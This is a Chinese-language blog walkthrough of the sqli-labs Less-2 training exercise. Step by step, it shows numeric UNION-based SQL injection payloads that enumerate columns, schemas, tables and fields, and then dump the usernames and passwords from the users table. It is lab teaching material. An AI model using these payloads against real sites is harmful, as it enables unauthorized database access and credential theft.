sqli-labs Less-2
2020-03-31 本文已影响0人
LonelySong
1.判断注入类型
index.php?id=1*1
index.php?id=1*2
![](https://img.haomeiwen.com/i6237090/16202b4103aa4de1.png)
![](https://img.haomeiwen.com/i6237090/40acdb1b214b597f.png)
2.猜字段数
index.php?id=1 order by 4#
index.php?id=1 order by 3#
![](https://img.haomeiwen.com/i6237090/ec7008cf075c116e.png)
![](https://img.haomeiwen.com/i6237090/0d650bb56a896dee.png)
第一次报错,第二次未报错,说明当前数据库当前表存在3个字段
3.使用联合查询查看页面的显示位
index.php?id=-1 union select 1,2,3#
![](https://img.haomeiwen.com/i6237090/a7c29bb9b88172a5.png)
这里需要注意的是id需要是一个数据库中不存在的id,因为只有这样,页面才会显示我们后面联合查询的数据。
4.爆出数据库版本和当前数据库名
index.php?id=-1 union select 1,database(),version()#
![](https://img.haomeiwen.com/i6237090/cbd353988abaab4d.png)
5.爆出所有数据库
index.php?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
![](https://img.haomeiwen.com/i6237090/741035666a720446.png)
ctftraining,information_schema,mysql,performance_schema,security,test
6.爆出当前数据库所有表
index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+
![](https://img.haomeiwen.com/i6237090/7c08c085c5e4d3f9.png)
emails,referers,uagents,users
7.查询当前数据库users表所有字段
index.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" #
![](https://img.haomeiwen.com/i6237090/b3925cee2e6a6a48.png)
id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
9.查询数据
index.php?id=-1 union select 1,group_concat(username),group_concat(password) from users #
![](https://img.haomeiwen.com/i6237090/29437769090af165.png)
成功读取数据库数据。